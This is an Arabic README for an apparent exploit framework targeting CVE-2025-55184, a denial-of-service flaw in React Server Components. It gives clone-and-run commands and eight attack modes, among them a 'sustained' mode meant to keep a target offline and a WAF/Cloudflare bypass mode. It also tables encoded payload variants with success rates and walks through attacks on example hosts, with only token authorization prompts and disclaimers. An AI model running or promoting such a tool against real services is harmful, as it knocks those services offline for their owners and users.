إطار عمل احترافي لاستغلال هجمات حرمان الخدمة (DoS) خاص بـ CVE-2025-55184 ويستهدف React Server Components. يتضمن 8 أنماط هجوم، تجاوز WAF، وأكثر من 10 متغيرات حمولة للاختبارات الأمنية المعتمدة وصيد الجوائز الأمنية.
"استمر في التعلم، استمر في الاختراق" - CyberTechAjju
🚀 البداية السريعة • 📖 التوثيق • 💻 الميزات • ⚠️ إخلاء المسؤولية
CVE-2025-55184 هي ثغرة شديدة الخطورة من نوع رفض الخدمة (DoS) تؤثر على تطبيقات مكونات خادم React. تسمح الثغرة للمهاجمين عن بُعد بالتسبب في تعطيل كامل للخدمة من خلال حمولات مرجع دائري مصممة خصيصًا.
| الخاصية | القيمة |
|---|---|
| معرف CVE | CVE-2025-55184 |
| درجة CVSS | 7.5 (مرتفع) |
| متجه الهجوم | شبكة (عن بُعد) |
| التعقيد | منخفض |
| الصلاحيات المطلوبة | لا شيء (غير موثّق) |
| التأثير | رفض خدمة كامل، استنزاف الموارد |
هذه ليست مجرد برهان أساسي (PoC) - بل هي إطار استغلال بجودة احترافية مصمم للباحثين الجادين في مجال الأمن ومطاردي المكافآت الأمنية.
git clone https://github.com/CyberTechAjju/CVE-2025-55184-POC-Expolit.git
cd CVE-2025-55184-POC-Expolit
./run.sh
هذا كل شيء! التبعيات تُثبت تلقائيًا، القائمة التفاعلية ترشدك.
# مباشرة بايثون
python3 exploit.py
# وضع CLI المتقدم
python3 cve_2025_55184_exploit.py -t <هدف> -m scan
| الوضع | الوصف | حالة الاستخدام |
|---|---|---|
| 1. كشف | بصمة سلبية | استطلاع آمن |
| 2. فحص | اختبار نشط للثغرة | تأكيد |
| 3. فردي | برهان أحادي | عرض سريع |
| 4. متعدد | متعدد الخيوط (5 خيوط) | اختبار معتدل |
| 5. عدواني | عالي التأثير (10+ خيوط) | اختبار اختراق موثّق |
| 6. جدار حماية | كشف وتجاوز جدران الحماية | أهداف محمية |
| 7. تقرير | إنشاء توثيق | تقديم مكافأة الأخطاء |
| 8. مستدام | 🔥 جديد! DoS مستمر | يُبقي الهدف معطلًا! |
./run.sh
# اختر: 3 (هجوم مستدام)
# ✅ الهدف ينطفئ ويبقى معطلاً
# ✅ اضغط Ctrl+C ← الهدف يتعافى تلقائيًا
مثالي لـ:
جدران الحماية التي تُكتشف تلقائيًا:
تقنيات التهرب:
هل تبحث عن استغلال CVE-2025-55182؟ شاهد هذا الفيديو:
▶️ شاهد على YouTube: استغلال CVE-2025-55182
╔══════════════════════════════════════════════════════════╗
║ ║
║ ______ ________ _____ ___ ___ ║
║ / ____/ / ____/ / / __ \ / _ \ / _ \ ║
║ / / __ / /_ / / \__ \ / / /_\ / /_\ \ ║
║ / /__ / \ /___/ / /___ ___/ /_/\__ /\__ / ║
║ \____/ /_____/______//____/ /_/ /_/ ║
║ ║
║ by CyberTechAjju | "KEEP LEARNING KEEP HACKING" ║
╚══════════════════════════════════════════════════════════╝
⚡ LIVE ATTACK DASHBOARD ⚡
┌─────────────────────────────────────────────────┐
│ إجمالي الطلبات │ 847 │ ✓ │
│ الهجمات الناجحة │ 521 │ 💥 │
│ المهلات │ 521 │ ⏱️ │
│ الأخطاء │ 326 │ ❌ │
│ معدل النجاح │ 61.5% │ 🎯 │
└─────────────────────────────────────────────────┘
./run.sh
أدخل الهدف: http://localhost:3000
اختر: 1 (فحص سريع)
التفويض: نعم أنا مفوض
# النتائج في ثوانٍ!
./run.sh
أدخل الهدف: http://vulnerable-site.com
اختر: 3 (هجوم مستدام)
التفويض: نعم أنا مفوض
اكتب: ATTACK
# الهدف ينطفئ
# راقب التأثير
# اضغط Ctrl+C عند الانتهاء
# الهدف يتعافى تلقائيًا!
./run.sh
أدخل الهدف: https://protected.cloudflare.com
اختر: 4 (تجاوز جدار الحماية)
# يكتشف Cloudflare تلقائيًا
# يحاول تباينات الترميز
# يظهر نجاح/فشل التجاوز
تتضمن هذه الأداة أكثر من 10 تباينات استغلال:
| نوع الحمولة | الترميز | معدل النجاح | الوصف |
|---|---|---|---|
| أساسي | لا شيء | 95% | المرجع الدائري الأصلي |
| مشفر بعنوان URL | URL | 80% | تجاوز المرشحات البسيطة |
| Base64 | Base64 | 75% | تفادي مطابقة الأنماط |
| URL مزدوج | 2x URL | 70% | تجاوز متقدم لجدران الحماية |
| Unicode | Unicode | 65% | تهرب ترميز الأحرف |
| Hex | سداسي عشري | 60% | تسلسلات هروب سداسية عشرية |
| مختلط | متنوع | 55% | تقنيات مجمعة |
| مجزأ | مقسم | 50% | تجاوز قائم على التجزئة |
| متداخل | لا شيء | 85% | تكرار أعمق |
| قائم على مصفوفة | لا شيء | 70% | مراجع دائرية للمصفوفات |
✅ مطالبات التفويض - يجب كتابة "نعم أنا مفوض" قبل كل هجوم
✅ تحذيرات قانونية - تُعرض عند بدء التشغيل مع إرشادات واضحة
✅ إيقاف تشغيل أنيق - Ctrl+C يتوقف بشكل نظيف، يسمح باسترداد الهدف
✅ تحديد معدل - تأخيرات قابلة للتكوين تمنع الضرر غير المقصود
✅ التحقق من النطاق - قائمة النطاقات المصرح بها في التكوين
✅ تسجيل شامل - يتم تسجيل جميع الإجراءات للمساءلة
🚨 للاستخدام المصرح به فقط 🚨